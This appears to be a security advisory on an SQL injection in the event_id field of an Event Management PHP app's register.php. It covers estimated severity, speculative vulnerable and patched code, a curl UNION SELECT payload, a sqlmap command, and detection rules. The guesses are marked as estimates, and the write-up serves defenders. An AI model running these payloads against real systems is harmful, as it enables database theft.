CVE-2024-28322

Executive Summary

CVE-2024-28322 is a critical SQL Injection vulnerability discovered in the register.php endpoint of the PuneethReddyHC Event Management application (version 1.0). The flaw resides in the event_id parameter, which is directly concatenated into SQL queries without proper sanitization or parameterization. An unauthenticated attacker can craft a POST request to execute arbitrary SQL commands, leading to data exfiltration, authentication bypass, or full database compromise. The vendor has not released a patch, and no official advisory from GitHub or OSV exists. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the vulnerability is trivial to exploit and should be prioritized for remediation.

Supply Chain & Package Security

This is a custom PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present beyond the direct deployment of the vulnerable codebase.

CVSS Breakdown & Threat Level

The CVSS vector is unknown due to insufficient data from NVD. However, based on the vulnerability characteristics, a reasonable estimate is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the database.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Potential for denial of service via destructive queries.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows complete database compromise with minimal effort.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the register.php script. The application likely constructs a SQL query by directly concatenating the event_id POST parameter without using prepared statements or input validation. For example, the vulnerable code might resemble:

$event_id = $_POST['event_id'];
$query = "SELECT * FROM events WHERE id = $event_id";
$result = mysqli_query($conn, $query);

An attacker can inject a single quote (') to break out of the intended SQL syntax and append arbitrary SQL commands. The event_id parameter is processed by PHP's $_POST superglobal, making it accessible to any HTTP POST request to the endpoint.

The injection point is in the WHERE clause, allowing the attacker to use UNION statements to retrieve data from other tables, or OR 1=1 to bypass authentication logic. Since the application is unpatched, no input filtering or output encoding is applied.

Vulnerable vs. Patched Code

Vulnerable Code (register.php):

<?php
$event_id = $_POST['event_id'];
$query = "SELECT * FROM events WHERE id = $event_id";
$result = mysqli_query($conn, $query);
// ... process result
?>

Patched Code (Recommended):

<?php
$event_id = $_POST['event_id'];
$stmt = $conn->prepare("SELECT * FROM events WHERE id = ?");
$stmt->bind_param("i", $event_id);
$stmt->execute();
$result = $stmt->get_result();
// ... process result
?>

The patched version uses a prepared statement with a parameterized query, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy the vulnerable application (Event Management 1.0) on a local server (e.g., XAMPP, LAMP).
2. Ensure the register.php endpoint is accessible.
3. Use a tool like Burp Suite or cURL to send crafted POST requests.

Exploit Payload:

curl -X POST http://target/event-management-master/backend/register.php \
  -d "event_id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target/event-management-master/backend/register.php" \
  --data="event_id=1" \
  --batch \
  --dbs

Expected Outcome: The attacker can enumerate databases, tables, and columns, and extract sensitive data such as user credentials or event details.

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for unusual POST requests to register.php containing SQL keywords (e.g., UNION, SELECT, OR, AND, --).
2. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Implement input validation and parameterized queries in the application code.

Honeypot Strategy:

• Create a fake register.php endpoint that logs all POST data and alerts on suspicious patterns.
• Use a database user with minimal privileges to limit damage from successful injection.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /event-management-master/backend/register.php with event_id containing SQL keywords.
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Modified register.php file (if attacker uploads a web shell).
  • Suspicious files in the uploads/ directory (if file upload is abused).
• Log IOCs:
  • Web server logs showing 400 or 500 errors from register.php.
  • Database logs showing anomalous queries (e.g., UNION SELECT).

Detection Engineering

YARA Rule

rule CVE_2024_28322_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-28322"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-28322"
    strings:
        $s1 = "event_id=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR 1=1" nocase
        $s5 = "--" nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4) or ($s1 and $s5)
}

Sigma Rule

title: SQL Injection Attempt Against Event Management register.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in POST requests to register.php
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/event-management-master/backend/register.php'
        cs-uri-query|contains: 'event_id='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR 1=1'
        - '--'
    condition: selection and keywords
falsepositives:
    - Legitimate use of the word 'union' in event names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-28322 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/event-management-master/backend/register.php";
    http_uri;
    content:"event_id=";
    http_client_body;
    pcre:"/(UNION|SELECT|OR\s+1=1|--)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-28322;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

1. Immediate Action: If the application is in production, take it offline or restrict access to the register.php endpoint via firewall rules.
2. Code Fix: Replace all dynamic SQL queries with prepared statements or parameterized queries. Use an ORM if possible.
3. Input Validation: Implement strict input validation for the event_id parameter (e.g., only allow numeric values).
4. WAF Rules: Deploy a Web Application Firewall with rules to block SQL injection patterns.
5. Database Hardening: Use a database user with minimal privileges (e.g., only SELECT on necessary tables).
6. Monitoring: Enable detailed logging for all database queries and web server requests.
7. Vendor Contact: Attempt to contact the vendor for an official patch. If unresponsive, consider forking the repository and applying the fix.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert